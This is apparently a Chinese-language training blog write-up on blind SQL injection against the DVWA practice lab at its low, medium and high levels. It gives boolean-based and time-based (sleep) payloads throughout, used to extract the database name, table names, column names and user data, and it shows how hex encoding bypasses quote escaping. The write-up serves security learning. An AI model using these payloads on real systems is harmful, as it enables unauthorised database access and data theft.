SQL Injection2(Blind)
前言
本篇文章主要来对SQL注入的盲注进行一个探讨学习,主要还是已dvwa靶场来进行实践
思路
-
判断数字型注入还是字符型注入
-
获取数据库名(猜取数据库名长度->猜取数据库具体字符)
-
获取表名(猜取表的张数->猜取表名的长度->猜取表名的具体字符)
-
猜取字段名(猜取字段的数量->猜取具体字段的长度->采取具体字段的具体字符)
-
猜取具体数据(猜取数据长度->猜取数据具体内容)
依据情况使用基于布尔的注入或基于时间的注入
dvwa练习
LOW:
这里讲布尔注入和时间注入都进行尝试下
布尔注入(主要看返回的正确与否,所以都是用and连接):
首先看图可以输入1后不再像前面SQL注入时返回用户名了,现在我们还是来测试下,是数字型注入还是字符型注入
先测试字符型注入
可以看到字符型注入是存在的
但测试数字型注入的时候有点蒙蔽了,因为我认为测试结果应该是返回User ID is MISSING from database.但返回的却是User ID is exists from database
确实这里想的不是很明白…理论上输入进去的东西应该查不出东西的啊,我有进入SQL注入试了下
发现在字符型注入下输入的数字型注入依旧成功返回???好吧搜索了下,然后找到了下面的解释.
这是sql的语法,因为没有加引号闭合,所以输入都被当做查询id,不会执行命令,这样说吧你输入1qwertyuiop跟输入1运行结果是一样的,
强制类型转换
测试了下,id这个字段好像是比较特殊
可以看到基本胡乱输入的字符串也被接受查询出来了,只要首位在id中就能查出来
别的字段是不行的,可以看到下面用name字段来测试没有成功
搜索的时候还发现了一篇不错的blog讲了利用SQL注入来下载和上传文件的方法
先继续往下吧,判断出是字符型注入后我们按照套路应该尝试下获取数据库名字,但没有返回的字段所以我们只有不断的猜测,通过返回的正误来判断猜测的正确与否,这也就是所谓的布尔注入
首先我们先来猜测名字的字符串长度,这时候发现SQL语法还是真的蛮强大,也有很多自带函数,比如这里用到的length
好的,上面的1测试出来不对,我们继续向下进行测试,当然我觉得也可以用大于小于符号先判断下范围,要是那种名字超长的库,这样逐渐增加就太慢了特别是手工注入。OK,测试到4的时候返回ID存在,确定库名长为4
下面我们就要开始猜解字段名了,幸好只有4位不算长…
这里需要通过ascii码来进行比较,当然我测试了下不用ascii码直接用字符来比较也OK
其次这里需要用到substr来一个一个提取字符
这里看到字符是大于’a’的,这里我们就不采用递增来推测,使用二分法来提高效率
1' and substr(database(),1,1)>'a' # 或者
1' and ascii(substr(database(),1,1))>97 #
这里可以看到第一个字符大于c为真,小于d为假,所以第一个字符为d
按照上面的方法依次可以试出后面三位是vwa
这样我们就获得了数据库的文件名dvwa
下面进行表名的猜解
首先我们先判断这个数据库有几张表,这里用到了count这个方法
1' and (select count(table_name) from information_schema.tables where table_schema=database()) = 1#
可以看到在2的时候成功了,所以dvwa中有两张表
然后我们来猜解表名长度 这里用到了limit (limit m,n m表示从第几条开始,初始值为0,n表示取几条)
因为括号的问题下面的语句我在测试的时候一直失误查不出来,一度怀疑是自己这边用的是MySQL8.0的原因,改成MySQL5.7后发现还是不行,结果最后发现是括号少写了一个…请务必注意括号的匹配 这里用不用substr都行
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)) = 1#
1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=1 #
OK,就按照上面的方法来猜试,终于在试到9时对了**(开个文本来写测试语句真的要方便很多)**
上面是第一张表的长度,同理按照上面的方法我们也可以猜试出第二张表的长度,不过这次是用比较的方法求得的,大于4正确,大于5错误,所以表名长度为5
好的我们知道了表名长度,下面要做的就是试出具体的表名是什么了,方法和上面猜试数据库名的方法一样,这里注意逗号substr里因为少些了一个逗号一直返回错误的提示,也耽搁了好些时间
1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>'a' #
第一个字符最后是大于’f’小于’g’所以是’g’
按照上述方法可以求得第一个表名是’guestbook’,第二个表名是’users‘
知道了表名,我们下面就需要接着来求字段名了
还是首先来猜取字段总数
1' and (select count(column_name) from information_schema.columns where table_name='user' ) = 1#
上面可以看到我是用大小来判断的,大于7正确大于8错误,所以有8个字段
知道了有8个字段后就是依次来猜解字段名了,和上面知道表的数量来猜解表名基本类似
先来猜解第一个字段名的长度,这里一定要注意括号数量select语句用括号括起来表示字段名,外面还有一层括号是length函数的括号
1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))=1#
下图可以看到第一个字段长度大于6的时候成功了,大于7的时候失败了,所以第一个字段的长度是7
然后我们再来猜解第一个字段的的第一个字符是什么
1’ and substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1,1)>‘a’#
ok,然后第一个字符试出来是大于’t’正确,大于’u’错误所以第一个字符试’u’
下面同理的方法进行猜解,就能将所有字段名**出来…
有了字段名,我们就可以用同样的方法来猜取里面的数据值了
拿第一个字段来举例,第一个字段是’user_id’
套路还是一样,先看user_id有多少数据
1' and length((select count(user_id) from users )) =1#
可以看到一个数据的长度就是1
现在来猜解内容
1' and substr((select user_id from user limit 0,1),1,1)='0'#
然后我们成功猜解出来了第一个字段的第一个数据是1
依次类推我们就能猜解出所有数据…
时间注入(主要用到sleep()函数,用if来做判断,猜对后sleep一定时间来进行判断):
先判断是字符型注入还是数字型注入
1' and sleep(5)#
1 and sleep(5)#
这里能明显感觉到上面的那条语句执行要慢很多,然后要注意的是sleep这个函数应该默认返回的flase
在自己数据库测试了下确实是这样(但这里时间长度变为了3倍,后面试了5秒变成15秒…这是个什么道理有没有大佬解释下)
下面就不截图了,毕竟时间这种东西不是截图能体现出来的…
按照套路下面是获得数据库名
先获取数据库长度
1' and if(length(database())=1,sleep(5),1)#
这里要是感觉到明显延迟就说明猜测正确了
4的时候明显感觉到了延迟所以数据库名长为4
然后来猜解字段名
1' and if((substr(database(),1,1))>'a',sleep(5),1)#
这里发现大于’c’的时候有明显延迟,大于’d’的时候没有推测出数据库名的第一个字符是’d’
后面就依次的这样尝试,获得数据库名为‘dvwa’,
有了数据库名了,就来获取当前数据库的表
先获取表的数量
1' and if((select count(table_name) from information_schema.tables where table_schema=database())=1,sleep(5),1)#
等于2的时候有明显延迟,OK获得表的数量是2
然后来先获取第一张表表名的长度
1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=1,sleep(5),1)#
好的当测到9的时候有明显延迟,第一张表的长度是9,同理测得第二张表的长度是5
然后知道了长度当然就是来猜解表名了,这里已猜解第二张表的表名来演示
1' and if(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)>'a',sleep(5),1)#
通过上面的字段测试出大于’u’没有明显的延时,大于’t’有明显的延时,所以第二张表的第一个字母是u,同理可以猜测出别的所有字符。
这样就得到了两张表的表名’guestbook’,‘users’
有了表名自然而然下一步就是表中的字段名了
还是先猜测字段的数量
1' and if((select count(column_name) from information_schema.columns where table_name='users')=1,sleep(5),1)#
明显在8的时候有延迟,得到字段数为8
有了数量当然就要开始依次猜测具体数值了
先猜测users表的第一个字段的字段长
1' and if(length((select column_name from information_schema.columns where table_name='users' limit 0,1))=7,sleep(5),1)#
可以发现在7时,时间明显延长,所以第一个字段的字长为7
然后我们就继续判断别的字段的字长
知道每个字段的字长后就依次来猜解每个字段的字符
1' and if(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1 )>'t',sleep(5),1)#
这里来可以发现大于t有延时,大于u没有延时所以users表的第一字段的第一个字符是u,同理可以推出别的字符。这样我们得到第一个字段为user_id,同理可以得到别的字段。有了字段名后我们就可以来猜解数据来。
没错还是要靠猜,不过要合理的利用二分法等来提高效率
1' and if(length((select user_id from users limit 0,1))>0,sleep(5),1)#
先判断数据长度,发现长度是1,很开心有没有
然后直接开猜
1' and if((select user_id from users limit 0,1)=1,sleep(5),1)#
然后就判断出了第一个数据值为1
这里没有用substr所以直接和1进行的比较,但我觉得最后还是带上substr这样可以起到一个类型转换的作用,就如下面的语句
1' and if(substr((select user_id from users limit 0,1),1,1)='1',sleep(5),1)#
OK,这样low等级的盲注就算完成了
MEDIUM:
看样子盲注和sql注入的想要考察的点基本还是一样的,看到上面的下拉框很自然的想到了要截包来改数据了。因为基于布尔和基于时间的注入上面low级别已经演示了区别,下面就主要通过基于布尔的注入来进行操作
基本与low级别一样主要是需要截包进行修改操作,如上图所示,但用low级别的方法来判断是字符型还是数字型好像没区别(暂时没想通为什么),但我用图中的的语句去尝试发现正常返回所以判断为数字型注入
下面还是先获取数据库名(数据名长度然后数据库的名称)
id=1 and length((database()))>4&Submit=Submit
得到数据名长度为4
id=1 and substr(database(),1,1)>'a'&Submit=Submit
id=1 and ascii(substr(database(),1,1))>97&Submit=Submit
这里因为有转义会把’'给转义掉,所以这里用ascii()函数把字符转为ascii码就可以了
这样推出数据库名为dvwa
下面来获取表名(表个数->各个表长度->表名)
id=1 and (select count(table_name) from information_schema.tables where table_schema=database())>1&Submit=Submit
获得表有两张(注意这里用的是count不是length)
id=1 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>1&Submit=Submit
这样我们获得第一张表长度为9第二张表长度为5
id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97&Submit=Submit
这样得到表名分别是guestbook和users
下面来猜解字段名(字段个数->各个字段长度->字段名)
id=1 and (select count(column_name) from information_schema.columns where table_name=0x7573657273)>1&Submit=Submit
得到users有8个字段(这里注意表名用十六进制(每个字符的ascii转十六进制)因为’'符号会被转义)
id=1 and length((select column_name from information_schema.columns where table_name=0x7573657273 limit 0,1))>1&Submit=Submit
得到users表的第一个字段长度为7(依次可以推出其它字段长度)
id=1 and ascii(substr((select column_name from information_schema.columns where table_name=0x7573657273 limit 0,1),1,1))>97&Submit=Submit
得到第一个字符是u,同理能推出字段的其它字符
下面就是推测具体数据了,先猜取数据的具体长度,然后再猜取具体内容
HIGH:
这里还是用基于布尔的方法来测试,但要说一下的是,这里的服务端在查询结果为空的时候会随机的sleep几秒中,这样会干扰布尔判断。
注入的时候发现也是弹窗让输入,但输入正常值后 发现查询也失败,显示cookie被设置,那就只有先抓包看下了
这里可以发现它进行了url编码,但你服务端倒是解码啊……发现在包中直接修改后不进行url编码反而能正常返回,emmm……不过这样也方便了我们手工注入,直接对包进行修改。
试了下,这里只用改body的值就能正常查询了,cookie不改也行。这里的cookie是对应上次查询的值
还是先判断是数字注入还是字符注入
用low级别中的方法判断出,是字符型注入
然后猜取数据库名(这里也明显感觉到了猜错后的随机延时)
这样我们得到数据名长度为4
1' and substr((database()),1,1)>'a'#
得到表名第一个字符为’d’,同理可以推出其它字符
有了数据库名后来获取表名
1' and (select count(table_name) from information_schema.tables where table_schema=database())>1#
得到有两张表
1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>1#
这样获取到各个表表名的长度
1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>'a'#
这样可以获得第一张表的第一个字符名,同理可以推出完整的表名和所有表名
下面就是获取字段名(和上面获取表名方法类似这里就不继续了)
有了字段名后就可以来猜解里面的数据了
这里HIGH级别里面还加入了limit的限制,但因为是字符型注入每次结尾都加入了#注释符所以没有任何影响。
总结
整体做下来会发现前面的SQL注入主要是结合union来进行联合查询
而盲注更多的是依据and操作来进行条件的判断来进行猜测,
盲注这里常用ascii(),substr(),length(),if(),count等函数,但还是离不开对information_schema数据库的依赖
还有就是盲注真的很考验耐心…工具确实是十分必要的,请期待后面的sqlmap的使用吧…
tips
-
substr()函数,这个函数也是在MySQL中第一次用到,这个函数看名字就知道是用来提取子字符串的,在这里我们就需要它来提取出字符串中的每一个字符
substr(string, start, length)这个函数需要3个参数,第1个是字符串本身,第2个是起始位置(需要注意的就是MySQL这里是从1开始的),length就是需要提取的长度,我们需要提取1位,所以这里都是填1
-
mysql中if的用法
if(expr1,expr2,expr3) 这里expr1为判断条件,如果expr1为真则返回expr2否则返回expr3
-
使用基于时间的注入,对方可能会对查询为空的返回随机加入sleep(),方法可能失效